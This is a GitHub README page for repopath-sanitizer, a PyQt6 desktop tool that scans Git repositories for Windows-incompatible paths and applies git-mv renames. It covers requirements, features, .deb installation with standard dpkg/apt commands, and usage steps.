Skip to content

Latest commit

ย 

History

History
92 lines (59 loc) ยท 3.57 KB

File metadata and controls

92 lines (59 loc) ยท 3.57 KB
layout default
title ๐Ÿ› ๏ธ repopath-sanitizer - Fix Your Paths for Better Compatibility
description ๐Ÿ› ๏ธ Scan and fix Windows-incompatible paths in Git repos with RepoPath Sanitizer, ensuring seamless cross-platform compatibility and history preservation.

๐Ÿ› ๏ธ repopath-sanitizer - Fix Your Paths for Better Compatibility

๐Ÿš€ Getting Started

Welcome to the repopath-sanitizer! This application helps you find and fix file and folder paths in your local Git projects that might cause issues on Windows. With a simple interface, you can ensure your work is compatible and easy to manage across different operating systems.

๐Ÿ“ฅ Download Now

Download Latest Release

๐Ÿ“‚ What You Need

Before you start, check these requirements:

  • Operating System: Linux (desktop version)
  • Python: Version 3.6 or higher
  • PyQt6: This app is built using the PyQt6 framework; no extra installation is needed for this app.

โœจ Features

  • Path Scanning: The app scans your Git working tree to identify problematic paths.
  • Safe Fix Proposals: It suggests changes to make your paths compatible with Windows.
  • Git-Aware Renames: You can apply fixes using the git mv command to keep your history intact.

๐Ÿ“ฅ Download & Install

To get started, visit this page to download the most recent version of repopath-sanitizer:

Download Latest Releases

Once on the Releases page, follow these steps:

  1. Choose the most recent version.
  2. Click on the file that matches your system. Look for files with extension .deb for easy installation.
  3. Save the file to your computer.

After downloading:

  1. Open your terminal.

  2. Navigate to the folder where you downloaded the package using the cd command.

  3. Install the application using the following command:

    sudo dpkg -i your_downloaded_file.deb

    Replace your_downloaded_file.deb with the name of the file you downloaded.

  4. Finally, if there are any dependency issues, run:

    sudo apt-get install -f

Now, you can launch the repopath-sanitizer from your applications menu or by typing repopath-sanitizer in the terminal.

๐Ÿ› ๏ธ How to Use

  1. Open the App: Launch repopath-sanitizer after installation.
  2. Select Your Repository: Use the interface to choose the Git repository you want to scan.
  3. Start Scanning: Click the โ€œScanโ€ button to check for incompatibilities.
  4. Review Suggestions: Look through the provided safe fixes for any path issues.
  5. Apply Fixes: Choose the changes you want to apply and click on the โ€œApply Fixesโ€ button.

๐Ÿ—‚๏ธ Contributing

If you want to contribute, please fork the repository and make a pull request. Itโ€™s a great way to help improve repopath-sanitizer.

๐Ÿ“œ License

This project is licensed under the MIT License. Feel free to use it as you like, but please give credit to the original authors.

๐ŸŒ Topics

This application relates to several important areas for developers and users alike:

  • Cross-Platform Compatibility
  • File Management
  • Dealing with Git
  • Path Validation
  • Python and PyQt6 Development

๐Ÿ”— Support

For support, please open an issue in the GitHub repository. We value user feedback and aim to improve continuously.

Thank you for using repopath-sanitizer! Your paths will be cleaner and accessible for all users, regardless of their operating system.